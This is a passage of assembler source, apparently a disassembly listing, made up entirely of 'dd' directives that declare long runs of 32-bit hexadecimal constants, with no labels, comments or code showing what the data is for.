		dd 0AD5F2E9h, 40C64EEh,	5EAD9A54h, 0D6F2A821h, 13A06DA6h
		dd 2024BDFFh, 0F8991D5h, 0C00A7411h, 900DF780h,	50FD8A00h
		dd 0A7121EBBh, 6E3BF37Eh, 83A24BDAh, 9D294060h,	0C91288Dh
		dd 3D951B3Ch, 2786767Bh, 54FC0BBBh, 5759BDDEh, 9983E30Ah
		dd 918B908h, 0DD071B3h,	0C1C54DB5h, 0E9A3A928h,	0EBD8F810h
		dd 12A7795Ch, 2BF23041h, 657DBB02h, 77C104Dh, 0FE607C9Fh
		dd 0F8DF768Bh, 803CA08Ch, 0B8684BCFh, 0D1312508h, 2B98B1Eh
		dd 3FFCD976h, 40813845h, 0A518682Eh, 3B23AAh, 0B3858E5Ah
		dd 9784E302h, 7969B2DCh, 8176A738h, 365B5C1h, 5BE2CB2Bh
		dd 0DDA83EBDh, 0CE44EA48h, 37D1AB54h, 29983C6h,	62F09EC1h
		dd 8102F198h, 0E3E782C7h, 51107467h, 20DE6FC5h,	16FE56C0h
		dd 6F13B340h, 0DBDB026Ah, 4D220880h, 0D80435BAh, 94A25B2h
		dd 31C781BCh, 585AD28Bh, 800B220Ah, 51EC7B78h, 0B9181Dh
		dd 1253E8E6h, 0DE37195Ch, 5AB050E6h, 55C9CB09h,	1C60795Fh
		dd 3AF66479h, 7A579D5Ah, 1E00186Ah, 22EFAD4h, 0CB24A4D0h
		dd 7D272560h, 97E9F9A2h, 852C755h, 0B309BB47h, 72AA5358h
		dd 92A5A55h, 0E7A49C36h, 0BF8051D1h, 10984A7Ch,	5AB3A190h
		dd 0F32F50C1h, 0DB6E004Fh, 0D02AEE6Ch, 90812DDCh, 167892C2h
		dd 5C058997h, 0EC09FC8Dh, 0D277520Ch, 0F7CF9D14h, 0F4F5AC60h
		dd 313A391Fh, 0BD5E5189h, 0A4150D0h, 372FB371h,	23D6FE3Ah
		dd 2EEE6A7Bh, 0BF5E4B95h, 21F84D65h, 0AF31F585h, 0C7EF4628h
		dd 9B0FC83h, 9177B955h,	70E600E6h, 810271E4h, 428610D7h
		dd 905B5D31h, 0B5E38004h, 2860F3BCh, 733E2EF3h,	5129BA51h
		dd 6064F856h, 0B52C017Eh, 72A5CDF5h, 6E158087h,	135309F7h
		dd 0D2784DB6h, 0DA015FB0h, 0D7EFC381h, 22F16B3h, 4B5BDD5h
		dd 28CF8110h, 7783F493h, 3565A8E9h, 0EF27D219h,	5A5486D6h
		dd 3A1AF2FEh, 0B7124399h, 1C9CF460h, 710D4484h,	80DA5539h
		dd 3457DB07h, 0A6066CFh, 45E9244Fh, 0D2D39D78h,	4BA7F352h
		dd 8A31A288h, 584D625Fh, 9D329752h, 15B5F002h, 5D95CA0Eh
		dd 7512FB26h, 8705A808h, 0C62E96C6h, 65121CD1h,	0A1F65B25h
		dd 613A0F10h, 6A4F9520h, 0F15AA62Ah, 0AC2A5305h, 0B9DFC2C3h
		dd 271B5EF8h, 1DC85F4h,	0EAD44EA0h, 6B1565A4h, 555741D2h
		dd 0A00BA290h, 0A75059FCh, 0E1B55B89h, 312C4D27h, 0FCDCA94Ah
		dd 5BD40065h, 0F5681DFDh, 8B09D22Bh, 0FF2F35BDh, 90B6ACCh
		dd 5E0A4D95h, 6BF9D91Fh, 0B5B82BBDh, 3A4B73F8h,	1D8847DAh
		dd 5D8705C1h, 0D3ACFC6Ah, 26D26BBEh, 3C05117h, 25EAF33Eh
		dd 41E630B3h, 3CD46053h, 46250077h, 0BEF4F802h,	7FAE38E5h
		dd 31546127h, 95FAF85Ch, 3624C0B7h, 0C9B81B16h,	931FE2D2h
		dd 9B6A4FE1h, 9553C180h, 0F33B821Ch, 20B3137Eh,	0F7293109h
		dd 4BCA2298h, 112EB597h, 0FD6801Bh, 9D8DA22h, 0F80553D1h
		dd 0FBE9665Eh, 0AA9853DFh, 0F40CA722h, 0AEE1FFF5h, 0C6EE25DFh
		dd 0A0B0FE5h, 0F4685604h, 0BD043F7Bh, 0FA0F3EE7h, 0F6A30DBCh
		dd 0B2605109h, 0D5CC821Eh, 715523h, 573FA9C4h, 99272CACh
		dd 2C7CC0Bh, 5046191h, 47A0C860h, 71F5684Ah, 2DF02026h
		dd 0C0163C0h, 8EB3AC1Bh, 527A8D29h, 6ADBB19Ah, 0AFB45812h
		dd 0F0EF93E6h, 0BB00776Dh, 899E6C6Bh, 0BD54EB45h, 9AEF4968h
		dd 0BFF51895h, 0BEE38B6h, 60AA8DCBh, 0D84ECE98h, 5C4851B6h
		dd 1DCA484Eh, 840D680Fh, 53F2B409h, 98F35402h, 0F15D1878h
		dd 4481980Fh, 1502DFF2h, 0A58D314Ch, 0D916D50Ch, 53B5BFh
		dd 5152CEC9h, 81035AFBh, 0A8719BC7h, 25F47714h,	7BF04147h
		dd 2BB90C4Ah, 0E9D8E0D8h, 4F02112Fh, 0D126401Fh, 0D92C0191h
		dd 8FCB0775h, 6FABF228h
		dd 1B23F3h, 0B2705D92h,	5690628Dh, 4F0739Dh, 0AF2CFDB5h
		dd 0E8C70374h, 0A6BAD3E4h, 66E9A4B9h, 0D114FE80h, 3A17B217h
		dd 7E0592D6h, 6BAFDEB7h, 1D2310h, 834A1739h, 3F09132Ah
		dd 5FE5EAF7h, 0C09C9591h, 0B816538Eh, 0B0045864h, 5B002149h
		dd 0F0E28160h, 37262318h, 0B51031E4h, 331210E4h, 2D56C19Dh
		dd 1AAC00E9h, 56C53F8Ch, 9CA44301h, 2EFA8A72h, 81A66812h
		dd 40DD39E2h, 5F8A50C5h, 958BB4DAh, 7B04ED25h, 0AD0FA447h
		dd 0B10CDD4h, 0E2A9680Fh, 525084E2h, 0CB07BF46h, 5769CF5Dh
		dd 30E161E0h, 0A9F4094Fh, 7D59310Fh, 0DB19B800h, 85671h
		dd 0D882984Dh, 0EECB6229h, 6F0CF04h, 88EBFA58h,	211A562Fh
		dd 0DFA07B7Ch, 0F0A68F65h, 0BD159560h, 0E7BE3DCEh, 0F69390AFh
		dd 65F58FDAh, 0ACDE8066h, 508D120Ah, 84CDD195h,	0BD90FB8Bh
		dd 25EFB86Ch, 1DDB0CAEh, 7FF93A5Ah, 84ADECF9h, 8FC161C5h
		dd 46B3298h, 0ACFF7169h, 0BFCB0DCh, 0A6D25BDh, 4FC47F71h
		dd 31B756F7h, 41F25418h, 11235C9h, 607740E9h, 0FDD77DE1h
		dd 815B3041h, 11F31E5Ah, 88BF02BAh, 551E2AEAh, 7F01FA37h
		dd 0F41F6E79h, 716185D1h, 392E17E1h, 0EF5CA702h, 269D4009h
		dd 8004197Fh, 2F3081B4h, 0B7120D8Bh, 357ABB03h,	0CDA90F17h
		dd 0D5114122h, 19742E21h, 0BCB40DC1h, 0B49EE66Fh, 0BF4FF7F6h
		dd 71A65340h, 51BD893Bh, 0B23FA0F9h, 0CB4988FAh, 18F0D2C4h
		dd 163B9301h, 0ACA4D37Bh, 3584E9F8h, 0AB025B4Eh, 28BFE317h
		dd 0FD000AAFh, 53557036h, 2E758C9h, 84D7893h, 844D96EAh
		dd 0A33BEEE0h, 0BD4E9536h, 0CE043525h, 1021BE1Bh, 80600428h
		dd 0D7C1F4DFh, 0AD5561F0h, 0ECECA6FDh, 52080502h, 55D6A89Bh
		dd 309B96Ch, 0CE0BA1B5h, 0F2810241h, 4C66E218h,	9DAB6C55h
		dd 0F197160h, 341C0BC4h, 8009FBB3h, 0DA586FDBh,	0A52B59BFh
		dd 6740DD42h, 0BA951DFDh, 82B237BEh, 19F0E81Dh,	269D756h
		dd 5729C1ACh, 93415AEFh, 7CF0E452h, 63850ABEh, 8DD4D83h
		dd 0BF011C41h, 242556F8h, 0B752EE58h, 0F188A1D3h, 815B1215h
		dd 2F189A9Bh, 77A8DCA2h, 364F118h, 8313A992h, 6875CCE5h
		dd 0CF57EC02h, 5FD14D63h, 2F7B3D80h, 0C4B55B5Fh, 6152DA2h
		dd 57CEF6h, 0E8CFD6E1h,	6D5C8E72h, 79B50942h, 6BFF591Eh
		dd 0BE3FCAB5h, 613E80FAh, 7C38BF25h, 0F80A4FA4h, 0E70221ABh
		dd 0BA170E33h, 270B2B6Fh, 21DF8501h, 6FBF9649h,	24AD4E4h
		dd 4274BB50h, 28745462h, 0DCA5E308h, 0B8091646h, 0A2F739D7h
		dd 751BF151h, 0EA405FEFh, 948C085Fh, 92C24ABh, 0D17116A1h
		dd 0D7322162h, 17A1C03Ah, 2B5F5EDCh, 0B478E328h, 8C0FF67Fh
		dd 0C9966C43h, 5190FF9Ah, 4F007B62h, 10C54A09h,	0CFEEB17h
		dd 0FAA8AF51h, 5B4BF9C4h, 7A29129Dh, 60113A8h, 0D87B5C9h
		dd 43AAD34h, 0B8BA9096h, 8D0F1712h, 0BB60E990h,	0C5CF1D23h
		dd 0FE61963Fh, 8680973Ch, 30659D10h, 0AE6AE912h, 639B4F12h
		dd 7CC52E80h, 0C45A13C9h, 33023603h, 0E4CCBDh, 80F691C1h
		dd 28A5663Ah, 3326227Eh, 0ED113B51h, 0D86C5F25h, 69AA5895h
		dd 0E8A4C975h, 5061051Ch, 6AED75B9h, 0AB0B51ECh, 24FD9529h
		dd 99EA6AA6h, 0AD7BE257h, 184E2978h, 0D01E0E83h, 0B4DC9FAh
		dd 23E857h, 961EA16Eh, 9F891F6h, 34D8517h, 5DAE3294h, 0BBD9970Bh
		dd 46861A05h, 0AD398F51h, 5065F67Fh, 879ADF6Bh,	5C5FF925h
		dd 0D90CF4C8h, 52999BE9h, 0BB059DDAh, 0A674AE2Eh, 1897C2BEh
		dd 91AC37D7h, 56128017h, 1203902Bh, 0AE022DBDh,	613F4134h
		dd 240DF84Eh, 25394711h, 71415C02h, 80D872BAh, 0F9E7CE84h
		dd 11F400F7h, 64C8FDBCh, 3012FE68h, 419B026Ah, 69A0A48Fh
		dd 0D026640Eh, 60901812h, 0A83620AAh, 5300EB7Ah, 0A2B48B87h
		dd 0B64A10h, 6BD5F1F6h,	9FD24E76h, 140195Ch, 8A5AC89Eh
		dd 0E23F61E2h, 52B34EE7h, 0EF585A7Fh, 0F408066Eh, 0F304B4A0h
		dd 9AAB581Eh, 0C01AC861h, 0C127CC0Ch, 0A25A58BFh, 0F9A25FE3h
		dd 0BD567DE9h, 82CA0470h, 361354DBh, 0AFE4B8A6h, 0A11BFA20h
		dd 0EB8329C1h, 710B80F8h, 0C26950E6h, 4E962600h, 29D05D32h
		dd 4A7F902Ah, 0EFDACDD8h, 0A95755BAh, 6F7421h, 579AB9C3h
		dd 614F3877h, 1809096Fh, 0BAFFD811h, 4E72BBh, 0ABA57B70h
		dd 22AD77CFh, 0F401D4E0h, 230BB31Ch, 642B1490h,	59FDB0E1h
		dd 64AE5C5Bh, 386BBFFAh, 0C08CF85Eh, 6CE62ABBh,	2960041Ah
		dd 0E0DDDB5h, 595A2056h, 0FDFF6A61h, 0CCEB9E44h, 0D700074Eh
		dd 242C214Eh, 4B32C4h, 1E9D40C9h, 0B59998BAh, 2561572Eh
		dd 0EF19D50Bh, 74F40F2h, 909B819h, 710B7595h, 12B4F1Ah
		dd 0B047B5D6h, 57EF8001h, 150CD32Bh, 0A2FE248Ch, 31AA5A6Dh
		dd 30FAB7A7h, 6BF5058Ch, 89D8B28Ch, 0F8A23AF8h,	542D7D10h
		dd 0FE5AD4ACh, 0DF7928BFh, 0DA258200h, 2FEC8021h, 677A2C2Ch
		dd 4CA722CBh, 311266F0h, 0D908BC2Eh, 0B3A58184h, 48873669h
		dd 2B30F854h, 8BDB0AC8h, 10519FD1h, 0C480E98Bh,	1B712105h
		dd 0E4105527h, 562E9925h, 1110F903h, 0D681B15Ah, 6B8C3340h
		dd 125FBC37h, 0B72FCC0Bh, 66B59B50h, 290E4490h,	8D563BFDh
		dd 0BF9088FEh, 388DDF4Bh, 8C3882Eh, 0D03E200h, 79822B58h
		dd 88F64B8Bh, 64A81C47h, 1497020Dh, 0F98A2847h,	626D82A1h
		dd 0C13256CAh, 7F0B4B07h, 6100086Fh, 0AB2903DEh, 0BEB3F833h
		dd 24C68AD8h, 0B1D33E8h, 0C25C2E69h, 880E8650h,	21BC8960h
		dd 1DA98D61h, 0AF876102h, 0CD5D0911h, 7110C00Ch, 1A14BABFh
		dd 11AC1C78h, 0E117287Dh, 0D2ECE1FCh, 8AE00CCDh, 141E336Fh
		dd 0C6770D70h, 6FC02B16h, 5A9800AFh, 7CC71FF7h,	1B7F4F3h
		dd 0BD22BA4h, 2E0C919Dh, 207A766Dh, 0C36FDA5Dh,	1869D604h
		dd 5F85E7ECh, 95694AAh,	852B5FEh, 76880D25h, 0D905F610h
		dd 8C27D1C4h, 2041E1AFh, 791DE80Dh, 0CB416143h,	9BAE728h
		dd 1007F23h, 54ED345h, 0EA13F502h, 8ECC777Bh, 67D70581h
		dd 0BF7F6E28h, 0A6D2BF9Ah, 0F4EE02B4h, 60787E3Eh, 8202ADF2h
		dd 95568156h, 0FD00BFC4h, 9CA592DDh, 49CFBDh, 1554E23h
		dd 6AA34FB5h, 3FAB7B7h,	9B8DB5AFh, 91CA5F4Ah, 0D99D3522h
		dd 26B89CB0h, 0F1D150B7h, 4C20BE03h, 0B1D4F249h, 302EE3ADh
		dd 11850151h, 5BD452B7h, 13BB08E1h, 0FD9D0904h,	10AACFEAh
		dd 1BF803E9h, 0EBA7008Ch, 532F796Eh, 8B25E84Bh,	1140C5FBh
		dd 8D8904D2h, 39AE15F9h, 2740FF2Eh, 1C4B6187h, 4A28D75Ah
		dd 2D1B56E5h, 0B40AE537h, 250985AAh, 99355728h,	0BA961811h
		dd 89094CD5h, 213572DBh, 1BF1013Eh, 86FECC18h, 76595204h
		dd 0E7BF5D5Ch, 38D3F093h, 0A6976432h, 0D04AB8FAh, 199517ABh
		dd 0FB889DA8h, 2076D8B9h, 990B7617h, 0BF823524h, 96422504h
		dd 918092A8h, 1963BB2Fh, 9F3C2C07h, 0E69086C3h,	0B1DAB68h
		dd 0FC8A2AB8h, 541E73F8h, 6D6DA71Eh, 53FBC057h,	0F109F417h
		dd 0FFF557CBh, 0CCA52335h, 33A000FBh, 20DD2BF9h, 909F5635h
		dd 123F75EBh, 0E1B6AE79h, 9CBD2B70h, 0F4002DE8h, 0D10209F7h
		dd 0ECD87F5h, 1BBE97Eh,	0B5DBBE13h, 0B1C43980h,	23246A52h
		dd 1E929961h, 0DC4A8DE7h, 0FD46535Eh, 652EEF7Ah, 0A815123Ah
		dd 5BF92582h, 18165962h, 0F7984CC1h, 0E060C702h, 0F2563057h
		dd 7519042Ch, 0C86A9673h, 4C27F819h, 61A17901h,	6C504A0Bh
		dd 8C16C0F0h, 398B310Eh, 0D99C70AEh, 0DB96525Bh, 6888269h
		dd 4B9057A0h
		dd 72784526h, 19BDEE02h, 0E4810FF6h, 20E497DBh,	0F051CB9Fh
		dd 0B523DEh, 0D4622899h, 4A47EBAEh, 0BC85D328h,	5F0EC612h
		dd 0D94042E3h, 682340C5h, 96F2880Eh, 70A729B3h,	11773D12h
		dd 1BED4CA7h, 89E386C0h, 8469BD95h, 1756356h, 0B67BCBA5h
		dd 0F66FC245h, 47D909C6h, 4E8B7798h, 0C08214F5h, 0D87BE5A0h
		dd 0E427DE88h, 206CD0E0h, 5F2D0DE9h, 0F6195450h, 90540613h
		dd 0BD1248F8h, 0B238E6B7h, 25EF301Dh, 8D15A500h, 0D7DDE07Bh
		dd 0D2C7A084h, 9F9A92D8h, 0BD9A70CBh, 0A4EB6DFFh, 239D0997h
		dd 2DC43E71h, 1F268256h, 392E135Bh, 2EB102DCh, 0F6F79B8Fh
		dd 791C9D55h, 0B88929F8h, 0BF683B5Bh, 2192F33Fh, 0B2E6124Ah
		dd 7E888815h, 4C021846h, 2E989985h, 5B6BE096h, 0A7B7574Ch
		dd 65EAB393h, 272AE046h, 7AA3DB9Fh, 0D5CB8674h,	5C977844h
		dd 0DA8A4291h, 8B59B155h, 0C7F58C3Bh, 0FCB38D2Dh, 46357A18h
		dd 4E25968Eh, 0F5C18783h, 0CDBB6670h, 0E1504C13h, 95D961C0h
		dd 0DA001A9Ah, 0C3E70820h, 175C5E0Eh, 0E696E6A5h, 254E2EAh
		dd 0BD142141h, 2E308E61h, 16522573h, 0B8176D32h, 83E9A2D1h
		dd 0F066C82Fh, 2651B7h,	0C98D437Bh, 0B42146C2h,	0FDF5F025h
		dd 0ED5FA089h, 0C53A4B6Dh, 954ED07Dh, 0E44E218Bh, 59B3CA00h
		dd 527617B5h, 0EA9502A9h, 6AA6809Bh, 9E518742h,	405F2B1h
		dd 792FAC04h, 2E4ED1FEh, 292C3FAAh, 9F3F5215h, 0C68360D4h
		dd 879E558h, 205BD5Ah, 54E36112h, 2582F85Eh, 0A9125B0Bh
		dd 0D8728005h, 0CB4E6179h, 0E7A9EA4Bh, 0BD09A2D8h, 0EA1CFD29h
		dd 3FEEFC4Bh, 0E99A3EADh, 22183781h, 0AB0A9250h, 0EC5FE0A9h
		dd 0B4E85B93h, 70F713AAh, 8D8212BDh, 82091305h,	0D5146516h
		dd 1591CBB7h, 0B65C4686h, 0DACADA4Ah, 0DC735D2Fh, 91BEF087h
		dd 9AFA6830h, 80740369h, 0E78111B9h, 405AC5E0h,	1988BEB0h
		dd 0B300B0D3h, 986F29DFh, 2FD7CE34h, 0C020807Fh, 585A5F57h
		dd 988DA1A4h, 0F4BF8E0h, 62BEB482h, 0CF4E3F31h,	5FF9BD38h
		dd 9DA08BECh, 51811811h, 5F29CE3Ch, 44D0251Dh, 875390B7h
		dd 0E5720909h, 0D559DDC4h, 4B09E8A6h, 4BD3599Dh, 0FE255956h
		dd 0AE00DE1Dh, 311246B5h, 5EB8E2E7h, 9676C8FDh,	68D51C00h
		dd 59B5E3A9h, 0CD9A9557h, 0D2CDC784h, 4A7CC63Ch, 961909F4h
		dd 0BB59E20Fh, 89B52961h, 9A25486Dh, 7B5DB562h,	0FA657092h
		dd 0D5017502h, 5EC18B3Bh, 0BD2960E0h, 6EB523EDh, 1D82959Bh
		dd 0C84898B9h, 0FFBA043Ch, 46880F2Dh, 0DA695FD9h, 0C01B88CFh
		dd 1E254EB3h, 573BB204h, 2B840314h, 0E95B04ACh,	0E0E83Fh
		dd 0CCD8EF32h, 9E763BB3h, 2482E0CFh, 44FB060Bh,	0BBFC05F4h
		dd 89E81382h, 0D90FF6Bh, 761CBB52h, 5F9A9426h, 37810B72h
		dd 0BB408124h, 0C8A64F72h, 789F428Ah, 1459BDEBh, 0D9648947h
		dd 81948EBCh, 604C9A00h, 0B1BD33FCh, 614A4492h,	2466FAAh
		dd 33A7F752h, 2DF97056h, 0CEF6961Ah, 0C15A96D6h, 0D1EE777Ah
		dd 0ACBCC3C7h, 0A5C4D6C2h, 806D9EFFh, 94D8276Dh, 3CE61215h
		dd 0E44F4419h, 0A2A3AC88h, 55C59Fh, 0B8483A24h,	0AC005083h
		dd 0DAC5B4F4h, 1277F541h, 0E6026AD3h, 0F565E0D8h, 127276B3h
		dd 0D28E0F90h, 0DA826078h, 0F1D1758Bh, 3BF22600h, 0C8BD97h
		dd 888443A4h, 905061CAh, 51BE9095h, 0EE06001Eh,	0EB0F955Ch
		dd 0CD3A61D6h, 0B5700028h, 8B3C58E8h, 4AFEC74Bh, 5F6742FCh
		dd 914C3555h, 61238E16h, 758D315Ah, 4AE98374h, 1088CE63h
		dd 0C24FD88Ch, 0CC0B31A6h, 0D9BF26F3h, 6801DE56h, 2B2AAB7Ah
		dd 712B7334h, 1509B176h, 22DB20AFh, 9A3F3DD3h, 48F08332h
		dd 0F85AAC4Eh, 7796CD2Fh, 2411059Bh, 0EAD78B60h, 0C05B3AC2h
		dd 0B7905F94h, 4480C851h, 0B8F2256Ah, 6F0500EDh, 0DA490484h
		dd 0EE042DBDh, 0F55FAF79h, 0A74B89ADh, 88EFB598h, 0E63AF8D9h
		dd 8FEB82B9h, 0FC34CCFFh, 25772E94h, 4F5FA242h,	32E3C0B2h
		dd 0A83C9780h, 701D12B2h, 0F72FC1B5h, 14BCA5CDh, 0DDB7EB02h
		dd 3757FF6Ah, 122F00C9h, 0BBDC62A0h, 3C481E17h,	10D0F04h
		dd 0F4A292ACh, 0B0647456h, 23F93290h, 45529D9Dh, 8070E601h
		dd 71E413DBh, 0D7804B2Bh, 3993F2F9h, 7FE227AAh,	0DD88FAF6h
		dd 86AB3BAh, 97262665h,	2E311031h, 7986B37Fh, 0AC262921h
		dd 0C82B84F7h, 6391FEF8h, 0C19617C9h, 0C5C6F894h, 28C17690h
		dd 5FC54C44h, 0CA80572Ch, 2EB20379h, 96AC0A00h,	0A6953D84h
		dd 57A77D5h, 0D03CCF6Ah, 3390BF5Eh, 860659BDh, 108261B1h
		dd 0E41DB4ACh, 2974F132h, 7F99950Bh, 0FE8B100Dh, 0F4160E9h
		dd 11BDB509h, 0CB5D6EB5h, 9E704570h, 400C5195h,	4758529h
		dd 84BC4595h, 240E2195h, 0CB817C00h, 12B9650Ah,	0B685B75Ah
		dd 5C1F097Fh, 78137B0Bh, 0DB389E6Eh, 0D98F983Ch, 8811E8E0h
		dd 58E483AEh, 0BBD29200h, 9D1AEFE4h, 7F1C3860h,	6DC0B8A5h
		dd 748203D5h, 1EBF015Ch, 2B2120CEh, 0C7C57E34h,	0B9EB42EBh
		dd 85930F9Dh, 0CDDF3092h, 7AB8491Eh, 0BA0065E3h, 0C4F3C09Dh
		dd 978B0F53h, 0E6E0167Ch, 0D2A678h, 378EDC67h, 3B6628BDh
		dd 8074FB01h, 0FC5B38CBh, 0E0FDF62Fh, 0E1995Ch,	7EDF2B8h
		dd 0FD8AE647h, 7EBD232Fh, 0BF70BFC6h, 3480BE3Dh, 198CD795h
		dd 3B860BC7h, 3B77FBDBh, 9128A77h, 6F978FD0h, 0CCAE4075h
		dd 7202CE29h, 0E1C98A64h, 0FDD44008h, 0CAB6950Bh, 0B354EEAAh
		dd 6C6614Bh, 0C845DB6Ah, 22EDC017h, 2B70EC0h, 568D3932h
		dd 0BD7D2D98h, 5C6C007Ch, 9112E653h, 0AF939595h, 0D36BE5FCh
		dd 2B4671CFh, 8A277E28h, 9D02129Ah, 6E550CD1h, 951FB025h
		dd 0D040ECF1h, 152AE9Dh, 0E1FFF9F1h, 2B85F380h,	86D47028h
		dd 82B5B5h, 85E7DA3Bh, 0CA1C4382h, 52C40D95h, 5EBD9D33h
		dd 0B213EC5Bh, 258229B5h, 7656ABC7h, 0FBD26E51h, 0FC9BD1FFh
		dd 8F047030h, 60F876CDh, 0EFE573E6h, 756C0DD0h,	0F9A124E3h
		dd 0EAFB1267h, 0DE52E016h, 1969BAA1h, 0B90483B8h, 0A82AD6C2h
		dd 1BA12381h, 129A63Bh,	6B867782h, 92B4889h, 985451C9h
		dd 5A5BEA09h, 0F3FD4AACh, 0D7B812F3h, 31044EA3h, 0AA01118Dh
		dd 55302FDDh, 901340CDh, 6F807FB1h, 0EE8650BDh,	654716DCh
		dd 7471A0D6h, 0E490AC25h, 8DDB1463h, 218A51F1h,	9D0B0984h
		dd 680693DAh, 0A6B1BB3Fh, 0D1512FB6h, 48C0E080h, 4497596Dh
		dd 2C5F61Bh, 93AABEAh, 0BBFEB59Dh, 6635FFA5h, 0E6EC25h
		dd 0ECC46E3Ch, 0BD03B0F3h, 894F5D65h, 92FD9AFBh, 69738A70h
		dd 4F527DD3h, 5503BF92h, 9C9B589h, 1C4E963h, 251EBDD7h
		dd 0ED00CBD4h, 6ABF724Bh, 0BD5ECAAEh, 0DF8180E0h, 3256718Ah
		dd 546B9A95h, 6E4C2552h, 90DE8B2Dh, 9D4FCBA8h, 42A589E7h
		dd 0D815D380h, 1F9CA5ABh, 962F7640h, 385890D5h,	75C89E3Bh
		dd 2113D406h, 79270C7Fh, 5AFE5426h, 6150295Bh, 179213E7h
		dd 941D887Dh, 0DC076B79h, 995610DEh, 899301C1h,	3512BF68h
		dd 0D3D8A928h, 0EC0074E2h, 0CB15D35Ah, 31D488Bh, 431D4B73h
		dd 24122B81h, 122BBF52h, 6BE18DD9h, 5EF0B24h, 0DB243445h
		dd 0F6F9C0C4h, 27BEFDC2h, 0FBC21114h, 0DB2F9354h, 635DDAA6h
		dd 0A2BB8C5Ah, 68DE035Bh, 0BA27AE55h, 406660h, 31C9BAA9h
		dd 67BE084Ch, 18244E13h, 0AA05CBFDh, 0BA0638ADh, 0E7170EB2h
		dd 0A69EAFCFh, 0B2C7E64Fh, 1F623015h, 0C92588B0h, 4692DD0Bh
		dd 6B09A1F4h, 1A1CB30Ah, 124FE316h, 6D8B6AB7h, 54A5C227h
		dd 51775A80h, 0A0942FBEh
		dd 0E99AA295h, 698D7E1Eh, 4B7777FCh, 9F404A4Dh,	0EA94DE38h
		dd 8D0B2CE5h, 65E10920h, 0FC5ECC19h, 9A07B443h,	7684D123h
		dd 10410135h, 6C6E07Eh,	90D5CC8h, 2188612Bh, 7C457C59h
		dd 0C4399EEBh, 42C17A36h, 0DF4F3049h, 0E7034C12h, 56DFA054h
		dd 74730B9Eh, 0AEDB2F52h, 7F11498Bh, 88ADD216h,	56BF9262h
		dd 6D1C096Ch, 0B47BED82h, 85A9C1D5h, 0B0F7E76Ah, 27729AFDh
		dd 0CAFB4658h, 26181A59h, 0B6A0A602h, 0DE9A9C0Ch, 0DF922779h
		dd 474E797Fh, 199B406Bh, 3007074h, 56F4951Bh, 3A0F5F5Bh
		dd 0E2DF5031h, 146E4B8Fh, 41D9B51Fh, 0FB531F63h, 0AED2542Ch
		dd 0CA1EFF7h, 0C098388Fh, 0B16D2F33h, 76EC0099h, 34A07449h
		dd 8101A4D6h, 9D890C80h, 78730B41h, 9D1DE117h, 2B823E6Ch
		dd 0B73BD512h, 0C056F8E2h, 1D46D6h, 9D8A60FBh, 121CE9D0h
		dd 0BABC3496h, 4E257A30h, 7FA53AC7h, 0D4363902h, 0D756E712h
		dd 5EE6F769h, 0FC9DE598h, 4118EB42h, 0E4F80B6Dh, 0A209517Fh
		dd 2C64727h, 7F46EB46h,	2BFCE499h, 0E2FCD917h, 862F1AA6h
		dd 6B36EFB8h, 0D151C4DFh, 0E75AFE42h, 80FAB4A8h, 55BD9207h
		dd 7BED3E1Ch, 59E65325h, 0E8D181Ch, 9B4B14C8h, 0E415A2C1h
		dd 485FEA89h, 5E5096EDh, 0FBBAA48Bh, 8509BFF0h,	0FF604677h
		dd 0BF04779Eh, 54E1FBD1h, 19A2B2ACh, 0B7827F29h, 0B04A15B3h
		dd 87A60898h, 0F220A401h, 0F4F69365h, 0AD4F123Bh, 1625C462h
		dd 0C8189BEAh, 4AD7CB1Dh, 0FCD25DFCh, 0C29533A1h, 4F5B1455h
		dd 9476FDFBh, 2BFD804Ch, 4A08F0F1h, 2289CA57h, 6B50B548h
		dd 4A9054Ah, 128C08D6h,	53F02280h, 5A8D3Ah, 1DA8484Ah
		dd 0D9FC7465h, 7C267EF2h, 72600258h, 0F8C4BAh, 3DB2C0D6h
		dd 0C76369E3h, 0ABA9E000h, 8D0168B3h, 5A284011h, 8DC0614Ah
		dd 95C4C780h, 69B27196h, 0E98E9D09h, 9F7058D9h,	76C0E16Dh
		dd 2F9C74C5h, 0FE08B62h, 799F20E1h, 0EF889C2h, 10DB66DFh
		dd 5018499Dh, 0DE9FFA39h, 0B284B49Ch, 29AB4E11h, 8122801Ah
		dd 0DA9A14CBh, 135ADE50h, 25CFE8E6h, 7C2B62E2h,	0AF04DCA8h
		dd 890F8A27h, 1CC4BBB8h, 0D182FF3Ah, 57C99280h,	0BB408159h
		dd 6BC6854Dh, 2CE6123Bh, 8A021800h, 28507F27h, 2B341663h
		dd 0D0B500CEh, 0FEA5E459h, 5FA16B13h, 0EE0024F2h, 142E741Fh
		dd 5200B8C1h, 5BA5ABEBh, 691EBA4Ch, 25DEE2B9h, 0F4E0FC27h
		dd 0A0B2C00h, 34455887h, 80E50B65h, 0ECFB46E3h,	51B99D0Bh
		dd 2D46A55Fh, 7A789080h, 5CD1FF27h, 0F32917BBh,	1C928EAFh
		dd 0E0996D25h, 60C5DAC1h, 0D8584097h, 0DC024E6Ah, 5E03D3CAh
		dd 4FBB9011h, 4B67FA93h, 0DBAECC2Fh, 459A824Ch,	149027Eh
		dd 0ECEDFD09h, 0B638556Bh, 0EC0B1B4Ch, 5747AEF8h, 0C407E89Bh
		dd 0E9CF51CBh, 5F9C7F59h, 7FE68B27h, 80BE17B7h,	3E74AF2Dh
		dd 25CA4EFEh, 1837DE8Bh, 5B78EB09h, 0C9950410h,	2312221Fh
		dd 0B99083FEh, 0ADE47E37h, 45F6E207h, 0C520B502h, 0B1A58A98h
		dd 7FBF033Eh, 4201227Bh, 4D27F781h, 642A4BDFh, 6C17BEFBh
		dd 1923CFD9h, 0FEE6E700h, 78355A26h, 51458F12h,	1CB2BAA6h
		dd 691830h, 0D619DDDAh,	6A2DCBF7h, 0EE9FF11h, 7BD7EA01h
		dd 0EC3644E2h, 0C448A54Ah, 683D1685h, 45D2D04h,	8A1ACA8h
		dd 3BF80501h, 649AF715h, 2D0C3D09h, 0F7AB4275h,	70E6F740h
		dd 0E8AF1995h, 0A9E6C514h, 0BD0B09F7h, 0ED44FF31h, 2D40AE96h
		dd 467071h, 0C13EE1E7h,	27065902h, 2FEEEB1Eh, 0B29E0745h
		dd 805E30FFh, 0E2BF22F0h, 2BEF849h, 66D0DB81h, 0FD2855BCh
		dd 5718F50Bh, 0E6018538h, 0E99EE02Fh, 0F800DE38h, 768A8CE9h
		dd 0AD570944h, 969847D8h, 554C5005h, 2DC1B347h,	1B7307C0h
		dd 4F3B0A00h, 0E1ED7CC9h, 0FAEF4406h, 0E028D6B7h, 0AC3A95FCh
		dd 0DFE09AFFh, 8B257BFAh, 0BFAC46F9h, 8EF8A80Eh, 1B4FAEEBh
